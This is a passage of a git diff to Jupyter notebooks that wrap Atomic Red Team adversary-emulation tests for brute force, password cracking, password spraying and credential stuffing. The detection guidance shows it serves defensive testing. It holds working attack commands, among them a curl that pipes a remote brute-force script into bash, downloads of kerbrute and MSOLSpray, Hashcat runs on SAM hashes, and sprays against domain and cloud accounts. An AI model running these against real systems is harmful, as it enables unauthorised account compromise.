\"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true\" -outfile \"$env:temp\\bruteuser.txt\"\n\n```" + "source": "### Atomic Test #7 - SUDO Brute Force - FreeBSD\nAn adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if running on a FreeBSD based machine.\n\n##### Check Prereq Commands:\n```bash\nif grep -iq \"FreeBSD\" /etc/os-release; then echo \"FreeBSD\"; else echo \"NOT FreeBSD\"; exit 1; fi\nif [ -x \"$(command -v openssl)\" ]; then echo \"openssl is installed\"; else echo \"openssl is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v sudo)\" ]; then echo \"sudo is installed\"; else echo \"sudo is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v bash)\" ]; then echo \"bash is installed\"; else echo \"bash is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\npkg update && pkg install -y sudo curl bash\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4c279660", + "id": "6a4ba7e6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 6 -GetPreReqs" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c7cd3d2d", + "id": "bee05fbc", "metadata": {}, "source": [ - "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\n.\\kerbrute.exe bruteuser --dc $ENV:userdnsdomain -d $ENV:userdomain $env:temp\\bruteuser.txt TestUser1 \n```" + "#### Attack Commands: Run with `bash`\n", + "```bash\npw adduser art -g wheel -s /bin/sh\necho \"password123\" | pw usermod art -h 0\nsu art\ncd /tmp\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh |bash\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f299fd26", + "id": "17d6b901", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "0572e349", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nrmuser -y art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e3282437", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "b4ce25b5", + "id": "0905d9da", "metadata": {}, "source": "## Detection\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials." } @@ -215,13 +260,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1110.002.ipynb b/playbook/tactics/credential-access/T1110.002.ipynb index 381f91cb..b0331e9b 100644 --- a/playbook/tactics/credential-access/T1110.002.ipynb +++ b/playbook/tactics/credential-access/T1110.002.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "1116cfb2", + "id": "7a9d8f42", "metadata": {}, "source": "# T1110.002 - Password Cracking\nAdversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access." }, { "cell_type": "markdown", - "id": "1503f54c", + "id": "19aa3b07", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2e0b7319", + "id": "e48c05a5", "metadata": {}, - "source": "### Atomic Test #1 - Password Cracking with Hashcat\nExecute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Hashcat must exist on disk at specified location (#{hashcat_exe})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path $(cmd /c echo %temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe)) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://www.7-zip.org/a/7z1900.exe\" -OutFile \"$env:TEMP\\7z1900.exe\"\nStart-Process -FilePath \"$env:Temp\\7z1900.exe\" -ArgumentList \"/S /D=$env:temp\\7zi\" -NoNewWindow\nInvoke-WebRequest \"https://hashcat.net/files/hashcat-6.1.1.7z\" -OutFile \"$env:TEMP\\hashcat6.7z\"\nStart-Process cmd.exe -Args \"/c %temp%\\7z\\7z.exe x %temp%\\hashcat6.7z -aoa -o%temp%\\hashcat-unzip\" -Wait\nNew-Item -ItemType Directory (Split-Path $(cmd /c echo %temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe)) -Force | Out-Null\nMove-Item $env:Temp\\hashcat-unzip\\hashcat-6.1.1\\* $(cmd /c echo %temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe\\..) -Force -ErrorAction Ignore\n```" + "source": "### Atomic Test #1 - Password Cracking with Hashcat\nExecute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Hashcat must exist on disk at specified location (#{hashcat_exe})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path $(cmd /c echo \"PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6\\hashcat-6.1.1\\hashcat.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.7-zip.org/a/7z1900.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\7z1900.exe\"\nStart-Process -FilePath \"PathToAtomicsFolder\\..\\ExternalPayloads\\7z1900.exe\" -ArgumentList \"/S /D=PathToAtomicsFolder\\..\\ExternalPayloads\\7zi\" -NoNewWindow\nInvoke-WebRequest \"https://hashcat.net/files/hashcat-6.1.1.7z\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6.7z\"\nStart-Process cmd.exe -Args \"/c %temp%\\7z\\7z.exe x %temp%\\hashcat6.7z -aoa -o%temp%\\hashcat-unzip\" -Wait\nNew-Item -ItemType Directory (Split-Path $(cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6\\hashcat-6.1.1\\hashcat.exe)) -Force | Out-Null\nMove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat-unzip\\hashcat-6.1.1\\*\" $(cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6\\hashcat-6.1.1\\hashcat.exe\\..) -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0dc8c32b", + "id": "d718c186", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0649d25e", + "id": "fca16019", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncd %temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe\\..\n%temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe -a 0 -m 1000 -r .\\rules\\Incisive-leetspeak.rule PathToAtomicsFolder\\T1110.002\\src\\sam.txt PathToAtomicsFolder\\T1110.002\\src\\password.lst```" + "```command_prompt\ncd PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6\\hashcat-6.1.1\\hashcat.exe\\..\nPathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6\\hashcat-6.1.1\\hashcat.exe -a 0 -m 1000 -r .\\rules\\Incisive-leetspeak.rule PathToAtomicsFolder\\T1110.002\\src\\sam.txt PathToAtomicsFolder\\T1110.002\\src\\password.lst```" ] }, { "cell_type": "code", "execution_count": null, - "id": "28f6002e", + "id": "29118880", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "be7976a1", + "id": "7b9675b7", "metadata": {}, - "source": "#### Cleanup: \n```cmd\ndel %temp%\\hashcat6.7z >nul 2>&1\ndel %temp%\\7z1900.exe >nul 2>&1\ndel %temp%\\7z /Q /S >nul 2>&1\ndel %temp%\\hashcat-unzip /Q /S >nul 2>&1```" + "source": "#### Cleanup: \n```cmd\ndel \"PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat6.7z\" >nul 2>&1\ndel \"PathToAtomicsFolder\\..\\ExternalPayloads\\7z1900.exe\" >nul 2>&1\ndel \"PathToAtomicsFolder\\..\\ExternalPayloads\\7z\" /Q /S >nul 2>&1\ndel \"PathToAtomicsFolder\\..\\ExternalPayloads\\hashcat-unzip\" /Q /S >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "45d38acb", + "id": "e68c8278", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0b19de3c", + "id": "84c642e2", "metadata": {}, "source": "## Detection\nIt is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1110.003.ipynb b/playbook/tactics/credential-access/T1110.003.ipynb index 606630a9..f953ff15 100644 --- a/playbook/tactics/credential-access/T1110.003.ipynb +++ b/playbook/tactics/credential-access/T1110.003.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "43c52f40", + "id": "63d35e35", "metadata": {}, "source": "# T1110.003 - Password Spraying\nAdversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625." }, { "cell_type": "markdown", - "id": "6e8ead53", + "id": "42770ca1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c6531099", + "id": "8ffe790a", "metadata": {}, - "source": "### Atomic Test #1 - Password Spray all Domain Users\nCAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.\nThis atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\\users.txt list. Any successful authentications will be printed to the screen with a message like \"[*] username:password\", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.\nUse the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.\nSee the \"Windows FOR Loop Password Spraying Made Easy\" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: List of domain users to password spray must exits at %temp%\\users.txt\n\n##### Check Prereq Commands:\n```cmd\nif not exist %temp%\\users.txt (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\nPathToAtomicsFolder\\T1110.003\\src\\parse_net_users.bat\n\n```" + "source": "### Atomic Test #1 - Password Spray all Domain Users\nCAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.\nThis atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\\users.txt list. Any successful authentications will be printed to the screen with a message like \"[*] username:password\", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.\nUse the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.\nSee the \"Windows FOR Loop Password Spraying Made Easy\" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: List of domain users to password spray must exits at %temp%\\users.txt\n\n##### Check Prereq Commands:\n```cmd\nif not exist %temp%\\users.txt (exit /b 1)\n\n```\n##### Get Prereq Commands:\n```cmd\n\"PathToAtomicsFolder\\T1110.003\\src\\parse_net_users.bat\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3d822762", + "id": "539068cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "05ed34bb", + "id": "4335b652", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,14 +38,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f8e98ca6", + "id": "5b4864c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "581f4584", + "id": "d99621cd", "metadata": {}, "source": [ "### Atomic Test #2 - Password Spray (DomainPasswordSpray)", @@ -59,14 +59,14 @@ { "cell_type": "code", "execution_count": null, - "id": "377ef333", + "id": "75fcb192", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d562eb41", + "id": "16ef10c3", "metadata": {}, "source": [ "### Atomic Test #3 - Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)", @@ -80,28 +80,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5cdf1047", + "id": "0812329a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "265be7f4", + "id": "30cfff76", "metadata": {}, "source": "### Atomic Test #4 - Password spray all Azure AD users with a single password\nAttempt to brute force all Azure AD users with a single password (called \"password spraying\") via AzureAD Powershell module.\nValid credentials are only needed to fetch the list of Azure AD users.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "631928d7", + "id": "3b706a80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "897ff003", + "id": "c48db4b1", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -111,14 +111,14 @@ { "cell_type": "code", "execution_count": null, - "id": "40b16611", + "id": "b4eccc92", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "58c8d229", + "id": "cdc5bbf8", "metadata": {}, "source": [ "### Atomic Test #5 - WinPwn - DomainPasswordSpray Attacks", @@ -131,28 +131,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6c27a382", + "id": "0e3bdb28", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "66e7c5d3", + "id": "23ab179f", "metadata": {}, "source": "### Atomic Test #6 - Password Spray Invoke-DomainPasswordSpray Light\nPerform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) \nbut without all the extra code that makes the script get blocked by many AVs. \nThis atomic test will attempt a single password against all users in a password list at $env:Temp\\usersdpsLight.txt. You can create this file manually\nor with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Username file must exist at $env:Temp\\usersdpsLight.txt\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\usersdpsLight.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host -NoNewLine \"Reading Users.\" # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration\n$netOutput = net users /domain\n$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])\n$userLimit = 200; $usercount = 0\nforeach ($line in $netOutput) {\n if($usercount -ge $userLimit){break}\n $line = $line.trim()\n $line = $line -split '\\s\\s+'\n foreach ($user in $line){\n if($usercount -ge $userLimit){break}\n Add-Content $env:Temp\\usersdpsLight.txt $user\n $usercount = $usercount + 1\n } \n}\nWrite-Host \"Usernames saved to $env:Temp\\usersdpsLight.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ec78f3dd", + "id": "f707b55c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a655b6e0", + "id": "da3fee95", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -162,90 +162,90 @@ { "cell_type": "code", "execution_count": null, - "id": "bd7c94b4", + "id": "844f4390", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "298f7c37", + "id": "dcff8273", "metadata": {}, - "source": "### Atomic Test #7 - Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)\nThis test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOLSpray module must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\MSOLSpray.ps1){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1\" -outfile \"$env:temp\\MSOLSpray.ps1\"\n\n```" + "source": "### Atomic Test #7 - Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)\nThis test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOLSpray module must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "938beb04", + "id": "60a65bdf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "613ee8ef", + "id": "ae412e75", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nimport-module \"$env:temp\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"$env:temp\\T1110.003UserList.txt\" -Password \"P@ssword1\"\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"$env:temp\\T1110.003UserList.txt\" -Password \"P@ssword1\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cf5858d5", + "id": "5e8787d3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "84390445", + "id": "3600b038", "metadata": {}, - "source": "### Atomic Test #8 - Password Spray using Kerbrute Tool\nTest a single password against a list of users\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n\n```\n##### Description: passwordspray.txt must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\passwordspray.txt){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true\" -outfile \"$env:temp\\passwordspray.txt\"\n\n```" + "source": "### Atomic Test #8 - Password Spray using Kerbrute Tool\nTest a single password against a list of users\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"\n\n```\n##### Description: passwordspray.txt must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6804bb8b", + "id": "43fbd357", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "257554f7", + "id": "57831e4c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncd $env:temp\n.\\kerbrute.exe passwordspray --dc $ENV:userdnsdomain -d $ENV:userdomain $env:temp\\passwordspray.txt password132 \n```" + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe passwordspray --dc $ENV:userdnsdomain -d $ENV:userdomain \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\" password132 \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "5fb2ea6e", + "id": "fb0ec081", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "30846098", + "id": "7bf4afdf", "metadata": {}, "source": "### Atomic Test #9 - AWS - Password Spray an AWS using GoAWSConsoleSpray\nGoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if go is installed\n\n##### Check Prereq Commands:\n```sh\ngo version\n\n```\n##### Get Prereq Commands:\n```sh\necho Install GO\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75fdc8c5", + "id": "2b81fb4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8a671083", + "id": "7f1593e4", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -255,28 +255,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3a56abd5", + "id": "fae0f3f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "89c76437", + "id": "d495c938", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf /tmp/GoAWSConsoleSpray\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ad61b890", + "id": "b63c1240", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.003 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "4271d3de", + "id": "9e09a02a", "metadata": {}, "source": "## Detection\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648." } @@ -284,13 +284,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1110.004.ipynb b/playbook/tactics/credential-access/T1110.004.ipynb index fe04e95b..d2146c1d 100644 --- a/playbook/tactics/credential-access/T1110.004.ipynb +++ b/playbook/tactics/credential-access/T1110.004.ipynb @@ -2,112 +2,143 @@ "cells": [ { "cell_type": "markdown", - "id": "f76df569", + "id": "5f37b235", "metadata": {}, "source": "# T1110.004 - Credential Stuffing\nAdversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally 